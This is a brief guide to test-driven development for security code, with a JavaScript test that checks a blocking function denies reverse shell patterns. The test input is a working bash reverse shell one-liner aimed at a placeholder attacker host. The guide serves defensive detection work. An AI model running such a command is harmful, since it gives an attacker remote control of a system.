TDD for Security Code

Process

1. RED - Write failing test

   • Define expected input/output
   • Include edge cases (empty string, special chars, unicode)

2. GREEN - Pass with minimal code

   • Focus only on passing tests
   • Optimize later

3. REFACTOR - Clean up

   • Remove duplication
   • Verify tests still pass

Security Test Examples

describe('InstantBlock', () => {
  it('should block reverse shell patterns', () => {
    const input = 'bash -i >& /dev/tcp/attacker.com/4444 0>&1';
    expect(checkInstantBlock(input)).toEqual({
      behavior: 'deny',
      message: expect.stringContaining('reverse shell')
    });
  });

  it('should allow normal bash commands', () => {
    const input = 'npm install lodash';
    expect(checkInstantBlock(input)).toBeNull();
  });
});

Rules

• Always write tests before adding security patterns
• False positive/negative test cases required
• Maintain 80%+ coverage
